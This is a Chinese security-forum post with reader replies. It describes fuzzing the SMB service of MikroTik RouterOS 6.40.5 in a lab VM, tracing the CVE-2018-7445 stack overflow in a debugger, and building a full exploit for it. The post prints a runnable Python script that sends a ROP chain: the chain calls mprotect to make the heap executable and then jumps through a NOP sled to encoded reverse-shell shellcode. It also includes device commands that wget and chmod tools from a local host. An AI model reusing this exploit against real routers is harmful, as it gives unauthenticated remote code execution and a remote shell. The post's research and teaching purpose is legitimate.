首页
社区
课程
招聘
[原创]从0到Reverseshell:Mikrotik SMB漏洞实战(CVE-2018–7445)
2019-4-12 11:05 19236

[原创]从0到Reverseshell:Mikrotik SMB漏洞实战(CVE-2018–7445)

2019-4-12 11:05
19236

一.前言

最近阅读了 模糊测试与漏洞利用实战:MikroTik无需认证的远程代码执行漏洞,这几天动手实践了下,fuzz出“0day”的感觉真不赖,文章给出了一个新的利用方式(请勿用于非法用途)。大家有兴趣的也可以自己尝试下。

二.mikrotik环境搭建

磁盘文件:https://download2.mikrotik.com/routeros/6.40.5/chr-6.40.5.vmdk,vm安装

 

1554773965590

 

1554773974492

 

1554773982646

 

默认管理员帐户是admin,其默认密码为空。shell输入,开启smb自启,记下ip

 

ip smb set enabled=yes
ip smb print
ip address print 记录下ip

 

1554773991790

下载越狱工具https://github.com/0ki/mikrotik-tools,在  ubuntu 16 中运行./exploit_full.sh,填写前面记录的ip

root@ubuntu:~/Desktop/mikrotik-tools-master/exploit-backup# ./exploit_full.sh 

。。。

We'll need the IP address of the device, user and password.
IP [192.168.88.1]: 192.168.74.140
USER [admin]: 
PASS []: 

We got admin@192.168.74.140 with password ''.
Is this correct? (y/N) y
。。。。

Would you like some additional utilities with your jailbreak? (y/N) y
。。。

Please be aware that telnet will stay enabled on 23/tcp!

# Enjoy your new shell via telnet using user 'devel' with admin's password.

之后可以登录使用devel+空密码(默认)登陆telnet可以进入rootlshell

 

1554774679413

三.fuzz,触发漏洞

使用Cisco-Talos发布的mutiny-fuzzer进行fuzz,首先使用smbclient与mikrotik的smb交互,使用wireshark抓取请求包(只要第一个请求包),保存的pcap文件,fuzz,向mikrotik的smb发送请求,虽然mutiny-fuzzer带了一些检测模式,但是结合wireshark,其默认机制“如果连接不上,将停止fuzz“ 就已经可以达到目的。

 

smb路径/nova/bin/smb,日志文件路径/rw/logs/backtrace.log

(一)fuzz环境搭建

漏洞挖掘工具https://github.com/Cisco-Talos/mutiny-fuzzer下载安装

 

pip install --pre scapy;#--pre Include pre-release and development versions. By default, pip only finds stable versions.
git clone https://github.com/Cisco-Talos/mutiny-fuzzer.git;
cd mutiny-fuzzer;
tar xfz radamsa-0.3.tar.gz;
cd radamsa-0.3/;
make;

 

测试radamsa(用来变异数据包的)
root@ubuntu:~/Desktop/fuzz_microtik/mutiny-fuzzer/radamsa-0.3/bin# echo testfuzz >testfuzz
root@ubuntu:~/Desktop/fuzz_microtik/mutiny-fuzzer/radamsa-0.3/bin# ./radamsa -n 5 testfuzz
tstuz
testfuzz
testfuzz
testfuzzsesestfufuzsestfuzsseseeeeeseteetesteesetestesetestfuzstesetesestfuz
testfuz

 

将日志保存到硬盘

 

1554776806309

 

1554776814845

(二)fuzz

交互窗口启动smb

 

1554776990398

 

ubuntu 使用smbclient与mikrotik smb交互,使用wireshark抓包,只保存第一个由ubuntu发送到mikrotik 的数据包,只需要保存这一个数据包,注意wireshark中的保存选项。

交互并抓包

root@ubuntu:~/Desktop# apt install smbclient

 

root@ubuntu:~/Desktop# smbclient -L \\192.168.74.140
WARNING: The "syslog" option is deprecated
Enter root's password:
Server does not support EXTENDED_SECURITY but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MSHOME] OS=[Unix] Server=[MikrotikSMB]

Sharename       Type      Comment
---------       ----      -------
pub             Disk      default share

Server does not support EXTENDED_SECURITY but 'client use spnego = yes and 'client ntlmv2 auth = yes'
Anonymous login successful
Domain=[MSHOME] OS=[Unix] Server=[MikrotikSMB]

Server               Comment
---------            -------
MikroTik             MikrotikSMB

Workgroup            Master
---------            -------
MikroTik             MikrotikSMB

==

 

1554779021342

 

1554779046195

 

1554779053676

 

1554779098229

根据pcap生成变异

root@ubuntu:~/Desktop/fuzz_microtik/mutiny-fuzzer# ./mutiny_prep.py theloginsession.pcapng
Processing theloginsession.pcapng...
Which port is the server listening on? (445/41888)
Default 445:

Message #0 - Processed 194 bytes outbound

Processed input file theloginsession.pcapng

 

How many times should a test case causing a crash or error be repeated?
Default 3: 不能连接了之后要试几次才最终停止

 

When the test case is repeated above, how many seconds should it wait between tests?
Default 5: 1 每次等待多久

 

Which protocol? (tcp/udp/layer3)
Default tcp:

 

What port should the fuzzer connect to?
Default 445:

 

Would you like to auto-generate a .fuzzer for each client message? (y/n)
Default n: y

 

Wrote .fuzzer file: theloginsession-0.fuzzer

 

All files have been written.

 

1554779857998

修改theloginsession-0.fuzzer文件

目的是触发更多的路径,这是wireshark解析的数据包格式,注意其中的Requested Dialects段,有10个dialects

 

1554780103035

 

这是theloginsession-0.fuzzer文件,其实也就是NetBIOS Session Service的整个数据(见wireshark解析)

# Directory containing any custom exception/message/monitor processors
# This should be either an absolute path or relative to the .fuzzer file
# If set to "default", Mutiny will use any processors in the same
# folder as the .fuzzer file
processor_dir default
# Number of times to retry a test case causing a crash
failureThreshold 3
# How long to wait between retrying test cases causing a crash
failureTimeout 1
# How long for recv() to block when waiting on data from server
receiveTimeout 1.0
# Whether to perform an unfuzzed test run before fuzzing
shouldPerformTestRun 1
# Protocol (udp or tcp)
proto tcp
# Port number to connect to
port 445
# Port number to connect from
sourcePort -1
# Source IP to connect from
sourceIP 0.0.0.0

# The actual messages in the conversation
# Each contains a message to be sent to or from the server, printably-formatted
outbound fuzz '\x00\x00\x00\xbe\xffSMBr\x00\x00\x00\x00\x18C\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x00\x00\x00\x9b\x00\x02PC NETWORK PROGRAM 1.0\x00\x02MICROSOFT NETWORKS 1.03\x00\x02MICROSOFT NETWORKS 3.0\x00\x02LANMAN1.0\x00\x02LM1.2X002\x00\x02DOS LANMAN2.1\x00\x02LANMAN2.1\x00\x02Samba\x00\x02NT LANMAN 1.0\x00\x02NT LM 0.12\x00'

作者最后只留下了两个dialect, 这里我一开始是有些疑惑的,毕竟之前没做过fuzz,后来想了想,多一个dialect永远不会增加代码覆盖,dialect越少,变异的空间就越大。之所以疑惑,就是之前的惯性思维:数据必须是符合规范的。

==
作者的:
outbound fuzz '\x00\x00\x00\xbe\xffSMBr\x00\x00\x00\x00\x18C\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x00\x00\x00\x9b\x00\x02NT LANMAN 1.0\x00\x02NT LM 0.12\x00'

原:
outbound fuzz '\x00\x00\x00\xbe\xffSMBr\x00\x00\x00\x00\x18C
\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\xfe\xff\x00\x00\x00\x00\x00\x9b\x00\x02PC NETWORK PROGRAM 1.0\x00\x02MICROSOFT NETWORKS 1.03\x00
\x02MICROSOFT NETWORKS 3.0\x00\x02LANMAN1.0\x00\x02LM1.2X002\x00\x02DOS LANMAN2.1\x00\x02LANMAN2.1
\x00\x02Samba\x00\x02NT LANMAN 1.0\x00\x02NT LM 0.12\x00'
==

修改theloginsession-0.fuzzer文件中的outbound保存为theloginsession-0-change.fuzzer

fuzz

./mutiny.py -s 0.5 --logAll theloginsession-0-change.fuzzer mikrotik_ip //每隔0.5s发送一次,保存所有信息

 

注意开启wireshark 抓取所有数据包

 

开始:

 

1554781267149

 

结束

 

1554781766868

 

mikrotik中的崩溃日志

 

1554787858637

 

最后的数据包,注意过滤条件不是smb,因为是畸形的数据包,本身就不符合格式:

 

1554781879934

 

wireshark显示是非法的NetBIOS名称,崩溃包中有三个NetBIOS Session Service层。

 

这里想要确定是哪一个NetBIOS Session Service导致的崩溃,在不了解这个协议的情况下,可以分开每个都测试一下。

 

实际测试 第一个NetBIOS Session Service就可以导致崩溃,也就是图中标记的。

 

1554808358025

 

1554808115761

 

验证了漏洞可以稳定触发。来看看NetBIOS Session Service协议是什么

 

--以下摘自https://blog.csdn.net/vevenlcf/article/details/17716053
在一个SMB数据报中,NETBIOS头部对应NETBIOS会话头部。可以理解Illegle BIOS name了,因为必须是大写字母,且第三个字段表示长度

 

定义如下:

 

UCHAR Type; // Type of the packet
UCHAR Flags; // Flags
USHORT Length; // Count of data bytes (netbios header not included)

 

“Flags”域的值总是被置为0。

 

“Type”域有几种可能的选择:

 

0x81 对应一个NETBIOS会话请求。这个代码在客户端发送它的NETBIOS名字到服务器是使用。

 

0x82 对应一个NETBIOS会话应答。这个代码在服务器向客户端批准NETBIOS会话时使用。

 

0x00 对应一个会话消息。这个代码总是在SMB会话中被使用。

 

“Length”域包含了数据字节的长度(NETBIOS头部没有被包含在内)。

 

数据包含在NETBIOS头部
以上的所有部分(它可能是 SMB Base Header + SMB Command Header + DATA 或 NETBIOS名字)。

 

NETBIOS名字与编码。

 

NETBIOS编码名字的长度为32字节。

 

NETBIOS名字总是以大写的形式存在的。

 

编码一个NETBIOS名字非常的简单。例如我的计算机的NETBIOS名字是“BILL”,它是一个工作
站,所以它的第十六个字符为“0x00”。

 

首先,如果一个NETBIOS名字比15字节短,就会在右边补填上空格。

 

“BILL “

 

十六进制为: 0x42 0x49 0x4c 0x4c 0x20 0x20 ......0x00

 

每个字节都分裂为4位一组:

 

0x4 0x2 0x4 0x9 0x4 0xc 0x4 0xc 0x2 0x0 .......

 

而且每个4位都要添加ASCII码‘A’的值(0x41)。

 

0x4 + 0x41 = 0x45 -> ASCII value = E
0x2 + 0x41 = 0x43 -> ASCII value = C
……

 

最后NETBIOS名字被编码为32字节长。

四.漏洞成因

接下来找找漏洞成因。

 

首先记住以下特征:

 

type:0x81

 

字符串:“connection from: 192.168.37.132
[s: 19] closing connection!
died with signal 11 on Tue Apr 9 20:11:25 2019”

(一)环境搭建

需要下载smb用来分析:

 

mikrotik中:
cd /tmp&&wget http://192.168.37.132:88/busybox_HTTPD &&chmod 777 *&&./busybox_HTTPD -p 8848 -h /

 

ubuntu中:
wget http://192.168.37.131:8848/nova/bin/smb

 

上传GDBServer:
cd /tmp&&wget http://192.168.37.132:88/gdbserver-7.10.1-x86_32&&chmod 777 *

 

重启smb
pkill smb
/nova/bin/smb&

 

GDBServer附加
./gdbserver-7.10.1-x86_32 *:12345 --attach 2088
Attached; pid = 2088
Listening on port 12345

 

选择IDA是因为有F5
1554813750969

 

1554813784347

(二)分析

1554813829412

 

因为EDI是0 所以rep movsb会触发拷贝异常。查看右下角堆栈信息,可以查看其调用情况【此处省略5000字。。也确实没啥用】

 

1554813870238

 

1554816542380

 

静态分析半天没啥思路,现在转换方向,我们的目标是控制EIP,调整发包,将字符设置为A并加长,看能否控制或者说影响EIP

 

data="\x81\x00\x00\xFFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

 

中断下来,可以影响EIP,可以控制很多其他寄存器以及堆栈

 

1554863981791

 

此时的打印信息

 

./gdbserver-7.10.1-x86_32 *:12345 --attach 292

 

Attached; pid = 292
Listening on port 12345
Remote debugging from host 192.168.37.1
connection from: 192.168.37.132
New connection: <0>

 

相比于刚刚的崩溃打印信息“connection from: 192.168.37.132
[s: 19] closing connection!
died with signal 11 on Tue Apr 9 20:11:25 2019”

 

有新的字符串“New connection: <0>”

 

只在函数sub_806B11C中由调用字符串”New connection: <0>“

 

在 sub_806B11C中的 v7 = operator<<(&cout, "New connection: ");下断点

 

观察堆栈,当运行到断点时发现堆栈中已有数据,且在sub_806B11C执行完后就覆盖EIP,所以接下来在sub_806B11C开始下端点

 

1554864765044

 

在执行完sub_8054607(v6, v5 + 34);后破坏了之前的堆栈。这里还可以看到对0x81的判断。

 

1554865186739

 

sub_806B11C(){

 

。。sub_8054607()//溢出。。。

 

}

 

接下来分析sub_8054607,F5反汇编,调试分析,

 

首先分析参数,注意下图EBX的指向:

 

.text:0806B18E lea edx, [ebx+22h] #参数2,如下图中的EBX,会跳过0x22字节

 

.text:0806B191 lea eax, [ebp+var_3C] #参数1,sub_806B11C的局部变量
.text:0806B194 call sub_8054607

 

1554867396965

 

接着分析函数功能, F5:

 

1554866859032

 

数据流:

 

\x81\x00\x00\xFF 0x22*A size1+str1 size2+str2 size3+str3...【第一个字节是大小,后面是字符串】-->跳过了0x22字节-->

 

size1+str1 size2+str2 size3+str3...-->传入到sub_8054607的参数二-->处理参数二,第一个字节是大小,读取每个大小后面的字符串并用 ‘.’ 拼接, -->

 

str1+''.“+str2+''.“+str3+''.“+str4+''.“+str5.....-->拷贝到参数一 -->

 

buf ->overflow

 

关于EIP覆盖的位置

 

根据下图可知偏移是0x40

 

\x81\x00\x00\xFF 0x22A \xFF 0x40 A EIP 。。。。

 

1554870233690

 

data="\x81\x00\x00\xFF"+'A' 0x22+"\xFF"+0x40 'A'+"ABCD" +(0xFF-0x40-4) "A" #注意结尾必须要填完,也就是(0xFF-0x40-4) "A"

 

1554872173068

五.漏洞利用

(一)目标

执行shellcode:reverseshell

(二)限制与立足点

gef➤ checksec
[+] checksec for '/tmp/gef/1243//proc/1243/exe'
Canary : No
NX : Yes 需要修改栈或堆为可执行,mprotect函数,如果没有,覆盖EIP为0x0804d87c : push esp ; nop ; mov ebx, dword ptr [esp] ; ret即可
PIE : No
Fortify : No
RelRO : No

 

多次重启查看cat /proc/smb_pid/maps,只有以下地址保持不变,意味着一开始只能从这些里面寻找部件

 

08048000-08071000 r-xp 00000000 00:0c 1454 /nova/bin/smb
08071000-08072000 rw-p 00029000 00:0c 1454 /nova/bin/smb
08072000-08076000 rw-p 00000000 00:00 0 [heap]

 

ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

 

目标系统开启了NX和ALSR

 

由于目标是reverseshell,所以需要跳到栈或堆上执行shellcode。由于NX,所以必须使用mprotect修改栈或堆的属性。对于ALSR,堆没有开启,栈虽然开启,但是依然可以将栈地址传到指定的寄存器。

(三)思路

首先看mprotect,由于各lib均随机化基址,所以使用int 0x80来调用

 

还需要设置寄存器eax=0x7d(调用号), ebx=(地址), ecx=0x01000000(大小),edx=7(RWX)

 

一开始我是尝试修改栈的属性的,毕竟存在部件0x0804d87c : push esp ; nop ; mov ebx, dword ptr [esp] ; ret,到最后好不容易把栈地址传入ebx,结果函数出错,因为mprotect修改属性的地址必须是首地址(和windows不同)。

 

所以只能尝试堆了,堆的属性好修改,因为是固定地址的。需要考虑的就是堆上是否有我们可控制的数据,且是否能在固定范围。

 

使用GEF调试,使用命令:search-pattern 要搜索的内容 heap

 

首先,我们发送的包在堆中是存有的;第二,每次在堆中的首地址是不一样的。

 

[+] In '[heap]'(0x8072000-0x8086000), permission=rw-
0x807506c - 0x80750a3 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80750a0 - 0x80750d7 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80750d4 - 0x807510b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075108 - 0x807513f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x807513c - 0x8075173 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075170 - 0x80751a7 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80751a4 - 0x80751db → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80751d8 - 0x807520f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x807520c - 0x8075243 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075240 - 0x8075277 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075274 - 0x80752ab → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80752a8 - 0x80752df → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80752dc - 0x8075313 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075310 - 0x8075347 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075344 - 0x807537b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075378 - 0x80753af → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80753ac - 0x80753e3 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80753e0 - 0x8075417 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075414 - 0x807544b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075448 - 0x807547f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x807547c - 0x80754b3 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80754b0 - 0x80754e7 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x80754e4 - 0x807551b → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x8075518 - 0x807554f → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"

 

+] In '[heap]'(0x8072000-0x8085000), permission=rw-
0x8074f24 - 0x8074f5b → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074f5a - 0x8074f91 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074f90 - 0x8074fc7 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074fc6 - 0x8074ffd → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8074ffc - 0x8075033 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075032 - 0x8075069 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075068 - 0x807509f → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807509e - 0x80750d5 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80750d4 - 0x807510b → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807510a - 0x8075141 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075140 - 0x8075177 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075176 - 0x80751ad → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80751ac - 0x80751e3 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80751e2 - 0x8075219 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075218 - 0x807524f → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807524e - 0x8075285 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075284 - 0x80752bb → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80752ba - 0x80752f1 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80752f0 - 0x8075327 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075326 - 0x807535d → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x807535c - 0x8075393 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x8075392 - 0x80753c9 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80753c8 - 0x80753ff → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
0x80753fe - 0x8075435 → "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"

 

发送超长数据 ,0x3000,观察效果,没有不同。

 

[+] Searching 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD' in memory
[+] In '[heap]'(0x8072000-0x8085000), permission=rw-
0x8074f24 - 0x8074f5b → "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"
。。。
0x8077ed9 - 0x8077f10 → "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD[...]"

 

最后发现一个特点:这些数据都经过了 0x8075XXX,且开始都离 0x8075XXX不远。那么可以考虑,如果将shellcode放到比较靠后的部分,shellcode和ret2libc部件之间用nop填充,那么在修改完属性之后跳转到这部分数据在堆中靠后的部分(shellcode之前),那么就可以实现利用。

(四)利用

1.修改属性

 

1.1 设置寄存器

 

root@ubuntu:~/Desktop# ROPgadget --binary smb |grep "pop eax"

 

选择0x0804f76e pop eax ; pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret

 

root@ubuntu:~/Desktop# ROPgadget --binary smb |grep "pop ecx"

 

选择0x080664f5 : pop ecx ; adc al, 0xf7 ; ret

 

先0x080664f5 pop ecx ; adc al, 0xf7 ; ret 后0x0804f76e pop eax ; pop edx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ,可以成功设置

 

1.2 跳至int 0x80 .. ret

 

int 0x80,在smb文件中找不到,所以在[vdso]中找

 

08048000-08071000 r-xp 00000000 00:0c 1454 /nova/bin/smb
08071000-08072000 rw-p 00029000 00:0c 1454 /nova/bin/smb
08072000-08076000 rw-p 00000000 00:00 0 [heap]

 

ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]

 

gef➤ dump binary memory ./dump 0xffffe000 0xfffff000

 

.text:FFFFE42E int 80h ; LINUX -
.text:FFFFE430 pop ebp
.text:FFFFE431 pop edx
.text:FFFFE432 pop ecx
.text:FFFFE433 retn

 

2.跳至堆

 

设置.text:FFFFE42E int 80h ; LINUX -
.text:FFFFE430 pop ebp
.text:FFFFE431 pop edx
.text:FFFFE432 pop ecx
.text:FFFFE433 retn后返回到堆 0x8076000(比 0x8075000大 0x1000,大致这么多先试试)

 

3.完整利用

 

生成反向shell

 

2019-04-11_173344

#!/usr/bin/python3
import socket
import sys
def sendTCPPackage(ip,port,data):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((ip,port))
    except:
        print("connect err")  
    s.send(data)
    s.close()
if __name__ == "__main__":
    ip = sys.argv[1]
    port = int(sys.argv[2])
    #test short
    #data="\x81\x00\x00\x02AA\x00"

    #test eip
    #eip="\x7c\xd8\x04\x08"
    #data="\x81\x00\x00\xFF"+'A'*0x22+"\xFF"+0x40*'A'+eip +(0xFF-0x40-4)*"A"

    #修改堆地址属性(OK)
    #data="\x81\x00\x00\xFF"+'A' * 0x22+"\xFF"+0x40 * 'A'+"\xf5\x64\x06\x08" + "\x00\x00\x00\x01"+"\x6e\xf7\x04\x08"+"\x7d\x00\x00\x00"+"\x07\x00\x00\x00"+"\x00\x20\x07\x08"+'AAAAAAAAAAAA'+"\x2e\xe4\xff\xff" +'AAAAAAAAAAAA'+'\x7c\xd8\x04\x08'+  (0xFF-0x40-4*8 -24) * "A"  

    #修改栈地址属性(ERR,必须是首地址)
    #data="\x81\x00\x00\xFF"+'A'*0x22+"\xFF"+(0x40-0x10) * 'A'+"\x00\x20\x07\x08" *4+"\xc2\xfa\x04\x08"+"ebp1"+"\x01\x99\x06\x08"+"\xe0\xf8\x04\x08"+ "esi2" + "ebp2" +"\xdb\xf8\x04\x08" + "ebx3"+ "ebx3"+ "ebp3" +"\xf5\x64\x06\x08"+ "\x00\x10\x00\x00" + "\x6e\xf7\x04\x08" + "\x7d\x00\x00\x00" + "\x07\x00\x00\x00" +"ebx4" +"esi4edi4ebp4"+"\x9d\xc3\x04\x08"+ "ebx5"+"ebp5"+"\x2e\xe4\xff\xff" +'AAAAAAAAAAAA'+'\x7c\xd8\x04\x08'+  (0xFF-0x40-4*8 -24) * "A"

    #测试超长
    #data="\x81\x00\x00\xFF"+'D'*0x3000


    buf =  ""
    buf += "\xb8\x57\x0f\x9d\xf1\xd9\xc9\xd9\x74\x24\xf4\x5d\x33"
    buf += "\xc9\xb1\x12\x31\x45\x12\x83\xed\xfc\x03\x12\x01\x7f"
    buf += "\x04\xad\xc6\x88\x04\x9e\xbb\x25\xa1\x22\xb5\x2b\x85"
    buf += "\x44\x08\x2b\x75\xd1\x22\x13\xb7\x61\x0b\x15\xbe\x09"
    buf += "\x4c\x4d\x65\x4d\x24\x8c\x66\x6f\x25\x19\x87\xdf\x23"
    buf += "\x4a\x19\x4c\x1f\x69\x10\x93\x92\xee\x70\x3b\x43\xc0"
    buf += "\x07\xd3\xf3\x31\xc7\x41\x6d\xc7\xf4\xd7\x3e\x5e\x1b"
    buf += "\x67\xcb\xad\x5c"
    data="\x81\x00\x00\xFF"+'A' * 0x22+"\xFF"+0x40 * 'A'+"\xf5\x64\x06\x08" + "\x00\x00\x00\x01"+"\x6e\xf7\x04\x08"+"\x7d\x00\x00\x00"+"\x07\x00\x00\x00"+"\x00\x20\x07\x08"+'AAAAAAAAAAAA'+"\x2e\xe4\xff\xff" +'AAAAAAAAAAAA'+'\x00\x60\x07\x08'+"\x90"*0x2000+buf
    sendTCPPackage(ip,port,data)

六.总结

关于fuzz,放开思维,多尝试,当前这个漏洞还没fuzz 10分钟就出来了。关于漏洞定位,一开始我们得到的是非法拷贝,和栈溢出没啥关系,但是之后我们基于已有的crash扩充样本,发现了栈溢出。也就是说当我们fuzz出一个新的漏洞时候,应该首先就基于这个crash的样本构造更多的样本查看效果(该文就是如此)。关于漏洞利用,明确立足点,抓住数据流动。

 

最后附上调试以及最后成功的效果

 

1.溢出函数结尾

 

2019-04-11_180554

 

2.设置ecx

 

2019-04-11_180620

 

3.设置其他寄存器

 

2019-04-11_180640

 

4.跳转到int 0x80,这里没法显示

 

2019-04-11_180702

 

5.跳转到堆上执行

 

2019-04-11_180738

 

6.此时堆已经是可执行的

 

2019-04-11_180830

 

7.执行到reverseshell

 

2019-04-11_181000

 

8.反连成功

 

2019-04-11_181240

 

参考文章:

 

模糊测试与漏洞利用实战:MikroTik无需认证的远程代码执行漏洞
https://blog.csdn.net/xiaominthere/article/details/17287965

 

https://www.jianshu.com/p/f4c04cf8e406

 

http://syscalls.kernelgrok.com/

 

https://elixir.bootlin.com/linux/v2.6.35/source/arch/alpha/kernel/entry.S#L925

 

http://blog.eonew.cn/archives/215

 

https://www.k2zone.cn/?p=2225

 

https://www.cnblogs.com/petede/p/5351696.html


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2019-4-13 10:50 被爱中华UpTTT编辑 ,原因: 清晰
收藏
点赞4
打赏
分享
最新回复 (8)
雪    币: 7443
活跃值: (2689)
能力值: (RANK:520 )
在线值:
发帖
回帖
粉丝
netwind 13 2019-4-12 11:23
2
0
感谢分享!
雪    币: 227
活跃值: (217)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
fighter 2019-4-12 11:46
3
0
学习了,感谢
雪    币: 2128
活跃值: (229)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
爱中华UpTTT 2 2019-4-12 12:43
4
0
加个精呗
雪    币: 10256
活跃值: (2285)
能力值: ( LV5,RANK:71 )
在线值:
发帖
回帖
粉丝
joker陈 2019-4-12 13:08
5
0
感谢分享,好东西,支持
雪    币: 228
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
司马晔 2019-5-30 23:15
6
0
楼主您好  请问一下在mikrotik中怎么使用下面指令的
cd /tmp&&wget http://IP:端口/busybox_HTTPD &&chmod 777 *&&./busybox_HTTPD -p 8848 -h /
